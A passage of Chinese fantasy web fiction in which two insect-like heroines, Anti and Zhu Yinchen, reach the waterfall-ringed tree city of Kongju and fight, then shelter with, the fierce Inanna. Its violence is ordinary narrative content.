祝吟辰不得不跟上安提急促的步伐,她回头望一眼刚才那个家伙逃走的方向,内心的疑云越来越重,她隐隐约约感觉到,空气里不仅仅有蜜浆、草木和酒的味道。
她闻到了一丝沙尘的气息。
11. 第五个孩子,她说。
循着跑掉的家伙留下的痕迹,她们飞速前进,穿梭过前方最后的树林。
视野逐渐开阔起来,周边的植被开始逐渐减少,四面八方的溪流朝这边汇聚,草地变成宽阔的河面,水流在光滑乱石间急速流过,安提带着祝吟辰跳过上面的石头,在路的尽头停住。
她们的前方是断崖,底下是磅礴的瀑布,冲下去的水流与地面冲撞起巨大的轰鸣,大股水汽向上蒸腾,拂过她们全身。
这么高的悬崖,刚才那个家伙是怎么上来的?
祝吟辰禁不住心生疑惑,她观察周围,发现了断崖边上被石头卡住的一根断木,拍了拍安提,示意她们过去。
这里刚好可以看见断崖前方的全貌了,空居就这样呈现在她们面前——原来不止是她们这里,周边还有数个几百米高的瀑布,它们包围形成了一个巨形环状聚水盆地,水面上泛起大片白色的水汽——平时遮掩这里的迷雾实际上是漫天蒸腾的水汽,而非别有用心者释展的障眼法。
盆地中央,无数粗壮的树根在水中穿进插出,淹没在瀑布灌进的盆地里,一棵参天巨树直拔而上,几乎可以使人看见叶片的形状和纹理——椭圆形的叶片,密密麻麻地向四周扩张开去,如同巨大的花束,树干上生长着奇异的流金纹路,蜿蜒如血管,条条通向枝头倒悬的果实。
这些果实看起来如同葡萄一样成簇生长,每一颗都被片片重叠的巨大粉色花瓣半包裹着,果实外表是流光溢彩的半透明晶体,折射着迷人的光芒,隐隐约约可以看见内部置放的家具和走动的身影。
祝吟辰心想,大概对于阿利都来说,一串果实相当于一套房子吧。
不仅是眼前可见的这些,她还闻到一股花香、酒香和湿润水汽混合在一起的味道,格外清新美好。
“吸收万物的,也要长出血脉,你用旧的重唤新的,美妙的造物,纳姆也要为你赞颂……”
在听到那个名字之前,祝吟辰及时捂住耳朵,避免挂机下线。她无奈地看了一眼安提,即使她想告诉安提不要再提那个名字,但因为她甚至不能说出那个名字,所以至今也无法成功沟通这件事。
等安提感叹完毕,祝吟辰问道:“我们要直接进去吗?他们大概不会放我们进去。”
安提陶醉地呼吸了几口空气,恋恋不舍地回道“先回去吧,找离这里最近的蜜心果树住下。”
二虫正要离开,空气中却突兀地传来一丝沙尘的气息,熟悉的笑声远远传来——
“……斟满我的酒杯吧,你们要全部喝下去!”
祝吟辰看见安提的背影晃了一下,虫已经到了悬崖边上。
祝吟辰紧赶几步跟过去,看见安提脸上原先喜悦的神情荡然无存,周身浸着冰冷的寒意,一双眼睛紧紧盯着声音的来源——空居中央最饱满鲜亮的那一串果实里,底部垂落的最后一颗,几个阿利都将上面覆盖的花瓣撕开了,露出里面灌着的、齐腰深的醇红酒液,几个阿利都狼狈地倒在里面,半跪着拼命喝里面的酒,他们中间浮着一片巨大的花瓣,伊南娜悠闲地躺在上面,身边摆满美食和各式酒器,她似乎已是半醉,正笑着指挥顶上的几个阿利都往里面继续倒酒。
伊南娜怎么会在这里?
祝吟辰心中一惊,然后迅速冷静下来,细想路上的蛛丝马迹,其实也不意外,大概关于她们一路上几乎没有遇见什么生物这件事,多半就与伊南娜有关。
难怪她曾经隐隐约约闻到沙漠的味道,当初还以为是错觉,看来自己以后要更相信自己这具阿努的身体机能。
“她怎么会在这里?”安提低下头,喃喃自语,“……可恶!”
祝吟辰看了一眼安提,她拍拍安提的肩,安慰道:“伊南娜知道你已经有了孩子,她肯定不会觉得你还会来空居一趟,大概是来搜查当初是谁被你吃掉了,我们只要等她搜索完,她应该就离开了,到时候再来也不迟。”
说着说着,祝吟辰突然想起自己来路不正,忍不住掩饰道:“你那次打击漂浮兽重伤晕过去,大概迷迷糊糊中吃掉了哪只路过的阿利都吧……你还能记起来吗?说不定我们也可以抽时间查查是谁。”
“我不记得了,只记得当初脑海里黑的一片,之后视野里又白了一片,就见到了你。”
安提晃晃头,甩掉低落的心情。她远远看了看伊南娜,后者脸上已醉成醺红的一片,她歪歪斜斜地站了起来,开始强行往阿利都们嘴里灌酒,笑得格外嚣张。
天色渐红,祝吟辰拉住安提的手,劝道:“我们先回去吧,等伊南娜走了,我们再来调查。”
安提回握住,二虫一前一后离开。
……
回到上次居住的蜜心果,祝吟辰静心凝神,张开两掌,试图把掌中泌出的毒液凝结成薄薄的一片,又慢慢张开双臂,使它扩张开来,过了一会儿,毒液固结,如同一片坚硬的铁。
祝吟辰把它放在果实顶上,挡住天上降落的红光和飘落的小雨,当然,这也是一种日常的控制毒液分泌的个人……个虫练习。
果内陷入冰冷的黑暗,浸入深水一般,空气中的氛围格外安静。
祝吟辰看着躺在角落阴影里的安提,后者无聊地把玩手中的空心草茎,看不清脸色,只是沉默不语。她突然感到有些落寂,这个时候,安提会想些什么呢?
是啊,即使她是如此坚强,如此强悍,可是独自离开从小长大的菌群,在外流浪这么久,历经了漫长的饥饿和孤独,现在又陷入的新的困境,无论是谁也会感到疲惫吧。
自己在蓝星处理雌虫出逃事务的那段时间里,她是怎么度过的呢?
她在发现自己丧失意识后,是抱着怎样的决心坚持逃出冥土的呢?
她是如何在陌生的冥土之外同时做到保护自己和维持温饱的呢?
而现在,她也会继续思考如何向前走吗?还是……暂时停下来悲伤一会儿呢?
祝吟辰突然明白,为什么安提在受到伊南娜的挑衅后,突然时不时陷入沉默。在菌群的那段时间里,她带着自己四处走动,去学习阿努的文化的时候,其实也犹豫过是否要真的要出走吧。毕竟要鼓起勇气,去反抗整个虫群,背叛所有曾经的同伴,要付出极大的觉悟。
直到伊南娜的到来,彻底将这一局面打破,安提不得不下定决心离开,用赌死的决心走进冥土。
而现在,伊南娜的重新出现,又将使安提面临新的考验。
“……安提,”祝吟辰忍不住走过去,牵起安提的手,认真地看着对方的眼睛,“我们会赢的,只要度过这几天。”
她握紧安提的掌心,承诺道:“我会陪你一直走下去,你必将成为新的虫母。”
听到这句话,安提瞪大眼睛,看着祝吟辰的眼神,她的心脏猛跳起来,泵出大股大股温暖、粘稠的血液,一种名为感动的情绪在心底蔓延。
“好猖狂的话哟,我应该发抖吗?呵呵……”
祝吟辰心中一惊,但安提眼神一凛,虫已经冲出去了。她一把把遮盖的毒液掀开,纵身跳出,擎着两道寒光闪电般杀向来者,只一秒,见刃尖直逼处,是脆弱的喉颈血脉,下一秒却消失不见,一阵寒风拂过背后,后被一记锋芒轻轻抵落下去,伤口泌出颗颗血珠,身体刹时僵住,血液也冰冷下来。
“好久不见,我还以为你会想我。”,身后响起伊南娜的声音,安提僵硬地回头,伊南娜的笑容和那可怖的锋芒,如同埃勒伽死亡的、沉重的叹息。
伊南娜正要再说些什么,头顶却传来一声异响,她瞳孔一紧,急忙推开安提,闪身避让,一道寒光险险地擦着头顶的独角劈落,伊南娜像是被这出虫意料的打扰触怒,猛地挥动臂间的巨镰斩向来者,对方却踩着镰尖向后一跃,险险地避开这可怖的一击。
祝吟辰在安提面前站定,将面上被雨水打湿的几缕头发捋开,露出额上奇异的银白面纹,她冷冷地看着伊南娜,眼中似有寒星迸闪。
“……意料之外啊,”伊南娜看着祝吟辰的脸,拂去刃上的雨水,脸上浮现莫名的笑容,“但也是意料之中。”
“你是来送我见埃勒伽的?”安提走到祝吟辰身边,警惕地看着伊南娜。
“埃勒伽大概不要你,否则你怎会有机会活着走到这里?”伊南娜半眯着眼直视安提的眼睛,笑得戏谑,“四处躲藏,苟延残喘。”
听到这话,像是心口的弱点被狠狠刺中,安提咬牙切齿地瞪着伊南娜,尽管眼神狠戾,然而身体绷紧了,却没有动作。
她知道现在不能轻举妄动,即使现在是二对一的局面,但至少现在而言,伊南娜绝不是她可以战胜的存在。
伊南娜看着安提的反应,眼底竟浮现出几分失望,她叹息着开口道“……你这副惧怕的模样,令我发笑。”
祝吟辰看了看安提突变的神色和因为愤怒而微微颤抖的身体,心知现在是她出面平衡局面的时候,依照安提的性格,恐怕她忍不了伊南娜多久。
“你是怎么找到这里的?”祝吟辰率先发声,伊南娜却抛出一个轻蔑的眼神,说道:“名字。”
“……伊塔。”
“是安提饿疯了,吃掉了你的脑子吗,还要我一一询问?稍微思考一下,还有别的什么东西,也
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自觉报上来。”
“我是安提的女儿,随从她从菌群一路走到这里,这就是我全部的东西。”
祝吟辰回答得干脆利落,事实上,在蓝星时,她就因为职业原因见过不少和伊南娜一样,甚至比她更霸道刁钻的人,所以已经习惯了这种人的交流方式。
伊南娜微微扬起下巴,冷哼了一声,算是认同。
“请你回答我的问题。”
“回答你的疑问毫无意义,你甚至无法验证我的答案。”伊南娜转过身,似要离去,“把你的面孔遮起来吧,若是记住你这样的弱小,连埃勒伽也要发笑。”
“你总有过来的理由吧,总不可能是白白羞辱我们一番,”祝吟辰却不恼怒,面色平静而认真,“至于真假,我会尽力去调查。在调查取证这方面,我自信比你更强。”
伊南娜顿住脚步,祝吟辰听见一声轻笑,只见伊南娜转身大跨步走过来,双方的距离迅速拉近,祝吟辰却不退步,直视着伊南娜的眼睛。
那是一双如烈火和钢铁一样的、威风凛凛的眼睛,火花般亮得惊人,此时正半眯着,仔仔细细地看着她。
“告诉我你的名字。”
“我刚才说过了。”
“我没记。”
“……伊塔。”即使冷静自若如祝吟辰,此时心中也不禁生出些许的无奈,她接着开口问道:“现在请你告诉……。”
“你到底来干什么?”祝吟辰还没把话说完,旁边传来安提冷冷的声音。伊南娜却连看也没看安提一眼,径直转身离开,她刚走了几步,却感到脸上突兀地传来一线微凉,瞳孔瞬间放大,她竟连一点动静也没听见!
耳畔一道急风刮过,伊南娜急忙翻滚在地,侧身躲开,下一秒,一道寒光闪电般刺向她的心口,她抬手挡下,小臂铠甲募地被划开一道浅浅的伤痕。
伊南娜不再让步,她微皱起眉头,站起身,看着臂上的伤痕。紧接着,一记重踢带着迅疾的风声向着她的头颅劈下,伊南娜头也没抬,只一挥手,抓住安提的脚踝,大力向一旁甩去,安提却在半空中迅速调整好姿势,稳稳落地。伊南娜没给任何机会,她双瞳刹那浮上一层血色,铠甲表面浮现金色的纹路,全身猛地腾起骇人的熊熊火焰,淋落的雨水迅速蒸发,围绕她身边一层滚烫的白汽。
祝吟辰正要加入安提,看见此景,心中悚然一惊,只见伊南娜的身影晃了晃,消失不见,一团白汽突然出现在半空中,陨星般冲撞向安提,巨大的轰鸣顿时震撼了整个林区,卷起的风暴夹杂着滚烫的雨水呼啸着刮过,周边的植被七零八落地掀翻在地。
“安提!”祝吟辰急忙冲进滚滚白烟,却看见惊心动魄的一幕——伊南娜稳稳当当地站着,安提的半个脑袋开了花,脑浆混合着血肉淌下,挂了半个身子,看上去甚是骇人,身上铠甲裂开来,累累伤痕淌下股股血液,在脚底下汇聚成小小的血池,一只眼睛被伊南娜的肘刃劈开,刃锋险险地卡在鼻梁一侧,但她居然还站着,唯余的一只眼怒视着伊南娜,一只手抓住伊南娜的肩膀,另一只手……刺入伊南娜的心脏。
在滚烫的火焰下,连血液也被蒸发,那一缕缕白烟飘动着,露出伊南娜震惊的、不可置疑的眼神,她犹豫着试图将安提的手拔开,却纹丝不动。祝吟辰冲过去,从伊南娜胸口小心翼翼地取下那只血肉模糊的手,将安提抱在怀中,又慢慢跪到地上,护住那骇人的半个脑袋。
或许是急迫的心情突破了某种桎梏,祝吟辰感到成虫以来,身体里那种额外的、异常的能量重新流动起来,眼前慢慢浮上一层柔光,遮蔽了眼前的一切景象,两掌间涌现出一股疗愈的、温暖的能量,流淌在安提的伤口上,那血肉模糊的一片开始肉眼可见地生长恢复。
伊南娜看着眼前的这一切,第一次感到漫漫虫生中,居然有事情可以那么复杂,那么……令虫手足无措。
但至少有不错的收获,安提的成长远超她的想象。事实上,暂且不论埃勒伽的放过,光是她能只身从冥土里逃出来这一点,就足够说明她那优秀的智慧和胆识。
或许这就是纳姆的意志,这就是自己终将踏上的征途的启示,再微小的光明,也能穿透无边无际的黑暗,只要将其掌握,就能实现长久以来的理想。
“起来吧,我知道更好、更安全的地方。”伊南娜拍拍祝吟辰的肩膀,示意她背起安提跟她走。
那句最古老的箴言,从心脏的第一次跳动起,从夜潮的第一次涨落起,就已经深深地融进她的灵魂,在她的心里不断回响。
【去点燃吧,那明亮的、炙热的……我的孩子,伊南娜】
12. 用血肉来偿还
天色渐白,雨也停了下来。树林中,三虫……不,两个站着的虫带着一个昏过去的虫,行走在前往空居的路上。
“所以你到底是来干什么的?”
“带你们去空居休息。”
“……完全没有看出来。”
“怪你们太不经逗乐。”伊南娜轻轻叹口气,“话还没说两句就开打。”
“那是因为我们长途跋涉在外,身心都受到了长久的折磨,谨慎一点也是理所……”
“行了行了,看在我还挺喜欢你的份上,才勉强理睬你的废话,不是让我高兴的话,就不要再说了。”
祝吟辰心想,无论是哪一个阿努,似乎都很热衷于命令式的交流,而且擅长让人接不下话。
走到悬崖边上,伊南娜把安提抱过来,示意祝吟辰站过来,祝吟辰犹豫着照做了。
只见伊南娜口中默诵了几句,空居巨树树干上的金色纹路奇迹般流动起来,一条粗壮的树根从盆地水底里伸出,如灵动的水蛇般“游 ”到她们身边,又稳稳当当地落在伊南娜脚下。
伊南娜率先走上去,祝吟辰紧随其后,一个阿利都从空中飞过来,为她们带路,脚下的树根载着她们穿过重重枝丫,进入空居中心。
身在空居范围以内了才发现,这些果实房间之间并没有通路,阿利都们纯粹是通过一双翅膀飞行其间的。他们远远地看见伊南娜来了,就惊慌地彼此交换一个眼神,躲藏进各自的果实里,又忍不住好奇地往这边张望。
之前离得比较远,且注意力全在巨树和伊南娜身上,祝吟辰这时候才注意到阿利都的外貌。他们看上去比寻常阿努更瘦小一些,上半身布满纤长的羽毛,双臂两侧长着一对巨大的翅膀,窄腰下是一双鸟爪,覆盖有金色的鳞羽,一头银发如瀑布般泻落,发丝间错生长着飘逸的长羽,耳部长着一对小型的翅膀,尾部还翘起几根金色的尾羽,长睫下一双淡金色的竖瞳,温驯地看着她们。
“就在这里吧。”伊南娜停在一颗果实面前,带路的阿利都为她们掀开果实上遮掩的花瓣,伊南娜走进,将安提轻轻放在床上,又示意祝吟辰同安提在这里住下。
祝吟辰走过去,一边继续为安提疗伤,一边对伊南娜说道:“无论你是因为什么原因来救我们,我在这里代表安提向你表示感谢,但请以后用更直接的方式表达你的来意。”
伊南娜挑了挑眉,耸耸肩,做出毫不在意的样子,临走到门口留下一句“你们完成来这里目的后,必须马上离开”,便转身离开。
祝吟辰低下头,透过白色的瞳膜,隐隐约约能够看见安提头上的裂痕已经合愈了许多,先前那副血淋淋的模样也因为血迹的干涸淡去了些恐怖的味道。
她握住安提的手,能感觉到安提体内奔涌的股股血液,正在为它们的宿主的生死努力地活跃起来,安提的脸色也因此有些发红,试探一下额颈,一片惊人的滚烫。
“无论伊南娜的目的是什么,至少我们现在确实需要保护。”祝吟辰心想,“在安提吃掉她所选择的阿利都后,就带着她赶紧离开吧。”
天边浮起一层薄红,与还不肯落下的天白混合作一起,揉成淡淡粉色的积雪。四周的树林和盆地底下已经暗沉下去,待到夜潮沉沉落下,这里就要发光、发亮。
祝吟辰的精神集中得过久,她渐感到有些疲惫了。突然,一声突兀的响动出现在门口,祝吟辰转头看去,是先前为她们带路的阿利都,他背对着门口,似乎是不敢看里面的动静,只抬起一只翅翼,尾羽轻轻刮擦门口遮挡的花瓣,看来是有事情要找。
“请问有什么事吗?”祝吟辰掀开花瓣走出,温和地看着阿利都的眼睛,对方吓了一跳,不敢直视她的眼睛,低着头说一句“阿努萨让我带你们去她指定的地方”,便沉默不语,等待祝吟辰的回应。
祝吟辰回头看了看安提,想了想,对阿利都说道:“就我一个跟你去吧,安提恐怕不方便走动,等会到了伊南娜那边,我会自己跟她说明,你不用担心。”
阿利都犹豫了一下,慢慢地俯下身子,单膝下跪,展开双翅,温驯地低下头。
“上来吧,我带你过去。”
……穿过层层枝丫,经过重重果实,祝吟辰发觉她们前往的方向是巨树下,盆地之中。
跳下阿利都的背,眼前是无数树根缠绕构成的水上楼阁亭榭。除了最为粗壮的主体部分,余下来的树根绞作一起,在水面上张结成一个平坦的平台,又生长上空中,交织出顶部和围栏,构造出高低的、奇妙的长廊。
在树根交错间,生长着刚刚催生长出的小小花朵,四处飘洒迷人的香气。几片大的花瓣和无数根金色纤羽铺垫在平台中央,伊南娜枕靠着不知名巨兽的毛皮,舒舒服服地半躺在上面,身旁摆满各式盛着美食的器皿和酒器。阿利都们收集的花瓣洒满周围的水池,片片随着夜风和水波荡漾,水底浮起发光的鱼儿,似乎是被阿利都们倾倒的美酒和蜜浆吸引来的,围绕着平台一圈圈游动,争相亲吻伊南娜随风飘落,浸到水里的、随水轻轻流动的几缕发丝。
“我来了。”
祝吟辰走到伊南娜身边,说道:“安提身上有伤,所以我就让——”
“来得这么晚,你该用四条腿走路。”伊南娜不耐烦地打断她的话,原本闭着的眼睛慢慢地半睁开,眼神中透出几分迷离,双颊和眼尾泛着红晕,似乎真的有些乏困。
……不会也是吃蜜浆吃中毒了吧。祝吟辰暗暗心想,把还没来得及说出口的“所以我就让阿利都带我一个来了。”和“我是被背着飞过来的,不是走路”咽进肚,默默地跪坐在伊南娜旁边。
看着眼前盛放的各种食物,她越发感到肚中空无几两,饥肠辘辘。似乎是阿努的基因作用,旁边那块流血的、还冒着热气的肉的鲜红色泽显得格外诱惑。
“吃吧。”
祝吟辰的拘谨和克制都被伊南娜一一看在眼里,她莫名其妙地笑了一下,原本有些昏昏沉沉的意识清醒了几分,心想这种别扭的性格和那天果断大胆的言论出现在一个虫身上,实在是格外好玩。
但该办正事了。
祝吟辰还在吃饭,只见伊南娜拍了拍手,远处的水面突然沸腾
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起来,阿利都们一拥而上,将水底下挣扎浮出的东西七手八脚地抓起来。
然而似乎是因为强烈的求生意志,这东西有着格外强大的力气,几个阿利都被推到在一旁,祝吟辰惊诧地看了一眼伊南娜,又转头看去,里面挣扎的家伙露出一张狼狈不堪的、熟悉的脸——是那天在她们前面逃走的那个家伙!
他与阿利都们搏斗了一会儿,渐渐没了力气,垂下头不动弹了,死猪般被拖上岸来,阿利都们又把他架起来,抬到她们面前。祝吟辰又看了一眼伊南娜,对方的表情没有什么变化,似乎这种暴行是一种随心所欲、理所当然的事情。
她迟疑着开口问到:“为什么要这样对他?”
“我想做的事,无需交代原因。”伊南娜打了个哈欠,露出有些遗憾的神色,“可惜安提不来,看来只能亲自送到她房里了。”
祝吟辰心中一惊,她转头看看这只阿利都,他的身体遍布伤痕,显出非常疲惫的神色,双眉紧皱着,一双眼睛已经闭上了,面色苍白,唇色发青,身体因为在水底下憋了许久而微微发抖。
让祝吟辰惊讶的是,即使已经这样狼狈不堪,他的双手还在四处乱抓着,试图挣脱阿利都们的钳制。
“……”
之前听到安提要吃阿利都的时候,她只是觉得这是大自然生死规律的一环,是符合阿努习性的再正常不过的事情,就像螳螂吃掉配偶,老虎吃掉野兔是一样的。
但是看着这样一具鲜活的□□,用这样徒劳的挣扎拼命反抗着即将被送入死亡的、可悲的命运,她的心中不禁感到一丝不忍和怜悯。
因为是动物的天性和本能,所以就不该干涉。这是她在无人区工作以来就深知的东西,所以即使是此时此刻,面对着这样不公的暴行,她也只好强压下心底的犹豫,不再多言。
她的任务只有帮助安提成为新虫后,这是必要的、值得的牺牲。
“我知道了,谢谢你的好意。”祝吟辰站起身,她已没了什么胃口。
伊南娜招了招手,一只阿利都忙走过来,恭敬地在祝吟辰面前俯身低头,祝吟辰跨上去,离开了现场。
祝吟辰刚落下地,走进房门不久,那只阿利都就被送上门来了,几只阿利都架着他,把他放在墙角边上,就急急忙忙地离开了,仿佛是怕床上的安提突然跳起来咬他们似的。
祝吟辰看看那只阿利都,伊南娜不知又用了什么手段,他似乎伤得更严重了,双眼紧闭着,在墙角一动不动。
她走到安提床前,抚摸试探她的额头。
“安提,你醒了吗?”
起先安提的眼睛似乎还闭着,慢慢的,从阿利都进来的那一刻,她的神色慢慢变得不对劲起来,眉头焦虑地皱起,额角泌出细密的汗珠,一副痛苦不安的神色。
祝吟辰不知发生了什么,心中也焦虑了几分,她回头不安地看了一眼阿利都,突然听见刷的一声,安提猛地坐了起来,仿佛梦游一般,两只眼睛直勾勾地盯着墙角的阿利都,身上的铠甲逐渐泛上鲜红的血色。
她一步步向阿利都走去。
13. 他们注定的命运
“安提,”祝吟辰一把拉住安提,声音中透出几分压抑不住的不忍,“这样弱小的阿利都配不上你,放过他吧。”
她终究还是忍不住出手了,作为无关的人类,她承认其他种群中自然法则的优胜劣汰,承认无视一切残酷的合理性,但是现在,她同样作为阿努种群中的一员,她就有了参与其中的资格。
至少在她力所能及的范围内,她希望可以让这场杀戮在更加正当、平等和势均力敌的前提下进行,无视一个同类这样悲惨的死去,她做不到。
祝吟辰的眉头微微皱起,神情变得严肃起来,她有些担心地看着安提,希望可以在对方的脸上看到一点松动的痕迹。
似乎是感到了死亡的威胁,角落里的阿利都发出痛苦的呻吟声,祝吟辰心中一惊,却看到安提的眼神渐渐平静下来,那双眼睛里居然透出几分喜色。
“很好,”安提抚上祝吟辰的头发,面上浮起欣慰的微笑,她自豪地看着祝吟辰的眼睛,言语中是前所未有的喜悦,“伊塔,你考虑到了很长远的事,你履行了你的职责,这很好。”
祝吟辰几乎说不出话来,她恍惚了几下,直到安提松开手,回到床上,她才回过神来,应了一声“是”,然后匆匆将阿利都带出门。
“你住在哪里?我带你回去。”祝吟辰将阿利都打横抱起,轻轻在他耳边询问,然而对方似乎已经在过度惊吓中失去了所有的力气,除了微弱的鼻息,再无其他的回应。
祝吟辰想了想,在周围找了找,没看见其他的阿利都,看来是被伊南娜早早地支走了。
要不就是因为害怕安提而早早逃走了。祝吟辰心想道,她低头看了一眼阿利都,没有别的办法,她就近找了另一间空着的房间,将阿利都安置在里面,又回安提房间找了些取暖的羽毛,回来盖在阿利都身上。
就这样吧。祝吟辰关上房门,回到安提的房间,看着已经熟睡过去的安提,心中思绪万分。
伊南娜送上门来的阿利都被她送走了,接下来的时间里,安提要自己去找阿利都了,只不过,她不会再管多余的事,何况经过这一次,安提肯定也会自觉去寻找势均力敌的阿利都。
祝吟辰走出门,轻轻靠在房门上,这是她们在空居的第一天,即使已经知道这里是伊南娜的地盘,但恩基的举动还未知晓,难保这里不会有其他势力,何况安提正重伤在身,出于谨慎,还是在门口留守一夜比较好。
一夜就这样过去。血色渐褪去,露出玉色的白润光泽,天边一寸一寸渐亮起来了,大地也渐温暖起来,将留滞的雨液升腾开去,空居浸在一团茫茫的雾气中,天光照射进来,空居就清透地亮堂起来。
祝吟辰睁开眼,眼睫上还挂着一层水雾,面上也湿漉漉的一片,但并不难受。脑海里还残存有几分困意,她伸了个懒腰,轻轻打开门,安提还在熟睡。
于是她又把门关上,正当房门严丝合缝的一瞬间,突然背部蓦地传来一阵剧痛,她一下子清醒过来,下意识回防,却见眼前晃过一个白色的身影,跃至空中滞留了一瞬,又直直地俯冲下来!
祝吟辰已经冷静下来,她向前跑了几步,看准了对方的样貌——一张从未见过的脸,白色的耳羽和发羽,金色的竖瞳……是个阿利都!
她面色一沉,摆好架势,两掌间暗暗涌上一股血气,不再动作,趁此机会,那阿利都翅膀在空中猛地翻了几下,脚爪直抓向她的头颅,周边的云雾被这套大动作掀起浪涛般的波澜,祝吟辰却一闪身躲过这一击,反手掐住对方的翅膀,毒液刹那刺入,阿利都发出一声怒嚎,然而他不仅不躲闪,反而回身想要撕咬她的喉颈,祝吟辰不甘示弱,侧身躲过,挥肘猛地捅向对方,随着一声皮肉的撕拉声,对方的动作停了下来。
云雾渐散开去,祝吟辰看到一双金色的、仇恨的眼睛,染血的耳羽和嘴角撕裂的一寸裂痕,然后感到自己的颈部传来液体流淌过的感觉,一丝隐隐约约的痛才迟迟出现。
眼前的阿利都面容陌生,祝吟辰努力回忆了一下,她实在不记得在哪里见过他。
只不过平心而论,他是个漂亮的阿利都,也更强壮勇猛,只可惜他的勇猛为他换来了毁容。不过无论如何,如果是这样的阿利都与安提决斗的话,她不会阻拦。
祝吟辰看着对方的眼睛,率先开口道:“你是谁,来这里做什么?”
“你说了我要说的话,”对方高傲地抬起下巴,虽然负伤,但他的气势一点也不落下,“阿努萨在这里胡作非为,我尚且无能为力,但更弱小的,力所能及的,我应要处理。”
话说罢,他做出又要战斗的架势,突然,旁边的门发出巨大的破坏声,整个空居回荡着这惊人的响动,居住在附近的惊慌失措的小动物们四散奔逃。
下一秒,安提闪电般杀出来,没等祝吟辰反应过来,一柄锋利的肘刃已经架在了阿利都脖子上,阿利都却没丝毫迟疑,他果断地回头,利爪挥向安提的身影,安提回避跳开几步,眼神却还钉在对方身上,显出兴奋异常的神色。她直起身子,与阿利都继续打斗,祝吟辰沉默地站在一旁,三方形成了一个诡异的局面。几个阿利都闻声赶过来,躲在附近的花叶里悄悄地看。
眼见围过来的阿利都越来越多,安提那边还没决出胜负,祝吟辰有点不知所措了,她就在这里一直眼巴巴地看着吗?
还是去做点其他的事,比如准备一下安提早上吃的食物?
不过还是要谨慎一点为好,就这样守在这里吧,毕竟安提的伤还没好完全,万一打输了的话,她至少要保证安提的生命安全。
可是安提要是打输了的话,所有的计划不就报废了吗……
祝吟辰这才发觉,她居然从来没有真正考虑过安提会输掉这种事,以至于根本就没有做过计划失败后的其他备用方案。
“啧,”阿利都发出一声闷哼,先前祝吟辰刺入的毒液发作了,他的意识混沌得厉害,眼前一阵阵地发黑,皮肉上电流游
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走般麻木,像是有细小的火焰在舞蹈、旋转,他感觉自己正在燃烧,意识一寸寸地融化。
安提察觉对方的异样,正要给予致命一击,对方却仿佛用尽全身的力气一般,拼命地向天空飞去,安提来不及抓住,只截留到几片金色的羽毛,遗憾地看着对方飞远去。
“伊塔,”安提看着阿利都远去的身影,唤了祝吟辰一声,祝吟辰回过神来,“我在。”
“我饿了,我们去吃肉吧。”安提转过头,面上笑得灿烂,阿利都的出现好像给了她很大的鼓舞,“还要喝酒!”
“……好的,跟我来,这边走。”祝吟辰笑了笑,无论如何,她认定的虫后只有安提一个,只要她们齐心协力,接下来的所有计划,连同人虫和平相处的展望,都有实现的可能性。
……
一头扎到草堆中,两眼前还昏昏地发黑,头脑也一片混沌,全身的力气正一寸寸抽离开去,身体止不住颤抖起来,羽毛也凌乱不堪,他咬紧牙,哆嗦着抱紧自己。
“基尔加哟,我可怜的,可笑的小东西。”
夜潮血色拂映下,一个高大身影从树林隐秘的黑暗中缓缓走出,嘴角带着一丝愉悦的弧度,眼神却冰冷锋利,红色的头发随风飞舞着,燎红了半片树林。
基尔加张张嘴,脸上的肌肉却酸痛得厉害,强撑着意识和自我的尊严,他气若游丝地回到:“阿努萨怎么有这种闲情……啊!”骨头仿佛被毒针扎了一下,他抑制不住惨叫出来。
伊南娜俯下身子,轻轻捧起基尔加的头颅,拇指拂去他嘴角的血迹,目光中充满怜爱:“违抗纳姆的意志,是你应赎的罪恶,是你应得的惩罚,基尔加,服从你应当服从的,去承接你的命运吧。”
听到这话,基尔加面部一下子狰狞地扭曲起来,原本因痛苦而紧闭的双目瞪大,他不敢发作,只咬着牙愤恨地偏开头,伊南娜却掐紧了他的下巴,强迫他看向自己,基尔加不敢与伊南娜对视,只垂下眼神,金色的双睫如两片垂死的蝶翼微微颤抖,掩下眼底那片狠戾的光。
伊南娜将他的反应尽收眼底,她笑了笑,松开手,基尔加一下子栽倒在地上,伊南娜站起身,语气里生出几分嘲讽:“被否定的阿利都,被遗弃的阿利都,基尔加呵,那些你们偷窃去的力量,要用血肉来偿还。”
“听我的话吧,服从她,遵从她,把你的头颅献上去,是你唯一的命运。”
伊南娜转身离去,消失在深邃的黑暗中。
夜潮正临,夜风寒凉似水,浓稠血色浸没了整座树林,几束光线穿过树梢,红色纱幔般轻轻拂照在基尔加身上,他勉强撑起身体,半跪在地上,,那张隐在树丛阴影下的脸逐渐扭曲,双瞳间透出渗人的仇恨,牙齿咬着嘴唇,呈现出一种不甘的愤怒。
他低下头,凌乱的头发和羽毛掩盖住了半张脸,咬破的嘴唇流下血来,口中喃喃自语,像是一种阴暗的、疯狂的诅咒。
“……不会屈从……要你死……”
14. 黎明与黑暗,世界的两面
【总部发来通知,请于今日最后期限内回溯报告】
【总部发来通知,请于今日最后期限内回溯报告】
【收到】
祝吟辰默默在脑内点击已收到的按键,她轻轻翻过半个身子,不动声色地看了看安提,对方面色平静,睡得正香。
祝吟辰翻回身子,开始在心中打理计划。总部要求她每七天要抽出至少五个小时的时间回溯蓝星,报告期间的情报和信息,而今天就是最后日期。白天不能回溯,一来有很多事情要做,二来莫名其妙地在安提面前昏睡过去五个小时未免太过反常,只有今天晚上,等安提睡着了才能回溯。
祝吟辰打定主意,心神稳定下来,她立刻翻身下床,出门梳洗,临出门前还不忘给安提身上盖上一些暖和的羽绒。
清晨的水清冽,流淌过肌肤,人……不,虫也精神许多,祝吟辰打理好自己,回到安提房间,叫醒安提后,坐在窗边等安提梳洗。
说是窗,其实是果实上开了个比门小一点的洞,两片透薄的花瓣掩在洞口上方,向外飘逸出沁人心脾的香气来,祝吟辰轻轻拂开其中一片,向外看去,一些阿利都也已出门了,他们在各串晶莹果实间飞来飞去,远远传来笑声和说话声,空气里闪动着花朵的五彩斑斓的花粉,几片羽毛飘落在风中,像是空居金色的音符。
在还未被战争和武器毁灭过的地球,也是这样生机勃勃的、美丽的景象吗?
那一定是更迷人的……
“走吧,伊塔。”安提推门而入,祝吟辰从遥远的迷思中回过神来,应了一声。
二虫推门而出,两个接送的阿利都已等在门口了。
进入水上树根蔓织的宫殿,落座满是美味佳肴的宴席,安提迫不及待地大快朵颐起来,祝吟辰却发现此处只有她和安提两个虫,正欲询问一旁的阿利都伊南娜去了哪里,对方瞥了一眼安提,快步逃走了。
